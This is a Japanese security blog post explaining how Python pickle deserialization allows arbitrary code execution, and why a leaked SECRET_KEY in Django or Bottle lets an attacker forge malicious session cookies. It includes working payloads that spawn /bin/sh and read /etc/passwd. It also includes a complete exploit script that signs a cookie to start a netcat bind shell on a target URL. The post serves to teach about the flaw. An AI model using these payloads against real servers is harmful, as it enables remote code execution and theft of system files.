mrtc0.log

tail -f mrtc0.log

pickleを利用した任意のコード実行とPython Web Framework

Djangoのサイトを見ていると以下のような記述があった.

Settings | Django documentation | Django

Running Django with a known SECRET_KEY defeats many of Django’s security protections, and can lead to privilege escalation and remote code execution vulnerabilities.

SECRET_KEYが第三者に漏れると任意のコード実行につながるとの記述がある.
が, なぜSECRET_KEYが知られると任意のコード実行が可能になるのかわからなかったので調べてみた.

結論としてセッション管理にpickleを使っているため, 第三者にSECRET_KEYが知られると悪意あるCookieを作れるかららしい.

pickle

Pythonにはオブジェクトをシリアライズ, デシリアライズするライブラリにpickleというものがある.

例えばusersというリストをシリアライズしてみると以下のようになる.

In [1]: import pickle

In [2]: users = ["admin", "user01", "mrtc0"]

In [3]: up = pickle.dumps(users)

In [4]: print up
(lp0
S'admin'
p1
aS'user01'
p2
aS'mrtc0'
p3
a.

これをデシリアライズするとusersを得ることができる.

In[5]: pickle.loads(up)
Out[5]: ['admin', 'user01', 'mrtc0']

スタックを追ってみる

pickle化されたusersは以下である.

(lp0
S'admin'
p1
aS'user01'
p2
aS'mrtc0'
p3
a.

この (lp0S,p1はPVMのopcodeらしい.

pickletoolsを使うと逆アセンブルできる.

In [7]: import pickletools
In [8]: pickletools.dis(up)
    0: (    MARK
    1: l        LIST       (MARK at 0)
    2: p    PUT        0
    5: S    STRING     'admin'
   14: p    PUT        1
   17: a    APPEND
   18: S    STRING     'user01'
   28: p    PUT        2
   31: a    APPEND
   32: S    STRING     'mrtc0'
   41: p    PUT        3
   44: a    APPEND
   45: .    STOP
highest protocol among opcodes = 0

順に追ってみる.

0: (    MARK

( はMARK命令でスタックにマーカーをプッシュする.

1: l        LIST       (MARK at 0)

lはリストを表している.
もしディクショナリであればdに, タプルであればtになる.

2: p    PUT        0
5: S    STRING     'admin'

pはPUT命令でpickleでは続く0や1などの数字をmemoと呼んでいるらしくスタックからPOPするときにこのmemoを用いている.
Sは文字列を意味し, 'admin'という文字列をスタックに積んだことになる.
また数値型の場合ははIntegerのIとなる. 続いてaはAPPENDを表しているため, リストに追加する命令だとわかる.
最後に.で終了を表している.


任意のコードを実行する

このpickleを使って任意のコードを実行することができる.

cos
system

のようなpickleを作成することでos.systemの形でスタックに積むことができる.

例えば以下のようなecho.pickleを作成してunpickleするとecho "Hello, World" が実行される.

cos
system
(S'echo "Hello, World"'
tR.)
In [1]: import pickle

In [2]: pickle.load(open("echo.pickle"))
Hello, World
Out[2]: 0

これも順に見ていく.

cos
system

os.systemをスタックに積む.

スタックの状態は以下のようになる.

|   bottom   |   os.system   | 

次に ( でMARKがスタックに積まれる.

|   bottom   |   os.system  |   MARK   |

S'echo "Hello, World"' で 文字列 'echo "Hello, World"' が積まれる.

|   bottom   |  os.system   |   MARK   |  ('echo "Hello, World"')   |

t で MARKと 'echo "Hello, World"' をタプルにする.

|   bottom   |  os.system   |  ('echo "Hello, World"')   |

R('echo "Hello, World"')os.system をポップして, os.system('echo "Hello, World"') を実行する.
戻り値がスタックに積まれる.

|   bottom   |   0   |

このような形でスタックが変移しているらしい.

つまり, 'echo "Hello, World"' ではなく '/bin/sh''cat /etc/passwd' などを積めばシェルを立ち上げたり, passwdを読み込める.

cos
system
(S'/bin/sh'
tR.)
In [1]: import pickle
In [2]: pickle.load(open("binsh.pickle"))
sh-4.3$ whoami
mrtc0
sh-4.3$ exit
exit
Out[2]: 0

pickleがセッション管理に使われている場合

Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.

Bottleアプリケーションを作成して試してみた.

mrt-k/vulnwebapp · GitHub

$ git clone https://github.com/mrt-k/vulnwebapp
$ cd vulnwebapp/python/       
$ python bottle/server.py 
Bottle v0.12.9 server starting up (using WSGIRefServer())...
Listening on http://127.0.0.1:8000/
Hit Ctrl-C to quit.

server.pyは以下のようなもの

from bottle import route, run, response, request, HTTPResponse

@route('/')
def main():
    value = request.get_cookie('account', secret='ThisIsSecretKey')
    if value:
        return value

@route('/set')
def set():
    resp = HTTPResponse(status=303)
    resp.set_header('Location','/')
    resp.set_cookie('account', 'admin', secret='ThisIsSecretKey')
    return resp

run(host='127.0.0.1', port=8000, debug=True, reloader=True)

http://localhost:8000/set にアクセスするとaccountという名前で adminという値のCookieが付与される.
中身は以下のようなもの.

"!Wfeacq3Bv2f+TC3FVRq1bw==?gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4="

bottle.pyのcookie_encodeでエンコード処理がされている. https://github.com/bottlepy/bottle/blob/d567af487ee0ef8a4c669f23b0bc8432302294b9/bottle.py#L2798

def cookie_encode(data, key):
    """ Encode and sign a pickle-able object. Return a (byte) string """
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg).digest())
    return tob('!') + sig + tob('?') + msg

sigではsecretkeyを使ってhmacを利用した値が生成されており, msgにはpickle.dumpsでデータをunpickleされたものが入っている.
どちらもbase64エンコードされている.

pickleされた部分("?"以降)をデコードすると値を得られる.

$ python -c "import pickle; print pickle.loads('gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4='.decode('base64'))"
('account', 'admin')

cookieのデータをpickle.dumpsしているため, secretkeyがわかっている場合, 任意のコードを実行できるCookieを生成できることになる.

このbottleアプリケーションのsecretkeyは ThisIsSecretKey であるので, それに基づいてcat /etc/passwdを実行するCookieを生成してみる.

import pickle, subprocess, base64, hmac, requests, sys

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/etc/passwd'),))

p = pickle.dumps(('account', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new("ThisIsSecretKey", msg).digest())
c = '!'+sig+'?'+msg
print c

このコードを実行すると以下のCookie値を取得できる.

!EBUIvHZinCyMbqCXnivovw==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUydjYXQnCnAyClMnL2V0Yy9wYXNzd2QnCnAzCnRwNAp0cDUKUnA2CnRwNwou

ブラウザのアドオンなどでCookieをこの値に書き換えると/etc/passwdの内容が表示されるはず.

netcatを実行させてバインドシェルを実行してみるexploitを書くと以下のようになる.

import pickle, subprocess, base64, hmac, requests, sys

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/etc/passwd'),))


class nc(object):
    def __reduce__(self):
        return (subprocess.check_output, (('nc', '-lvp', '12345', '-e', '/bin/sh'),))


if len(sys.argv) != 3:
    print("Usage: %s TARGET SECRET_KEY" % sys.argv[0])

TARGET = sys.argv[1]
SECRET_KEY = sys.argv[2]

# if you want to passwd file
# change nc() to getpasswd()

#p = pickle.dumps(('account', getpasswd()))
p = pickle.dumps(('account', nc()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(SECRET_KEY, msg).digest())
c = '!'+sig+'?'+msg
print c
print requests.get(TARGET, cookies=dict(account=c)).text
$ python bottle_exploit.py
!FA5dRLyylZvPhUzMS2HkTg==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUyduYycKcDIKUyctbHZwJwpwMwpTJzEyMzQ1JwpwNApTJy1lJwpwNQpTJy9iaW4vc2gnCnA2CnRwNwp0cDgKUnA5CnRwMTAKLg==

別のターミナルで接続すると(この場合localhostなので面白みに欠けるが), シェルを操作できる.

$ nc localhost 12345
ls
bottle
bottle_exploit.py
create_pickle_payload.py
getpasswd.pickle
whoami
mrtc0

参考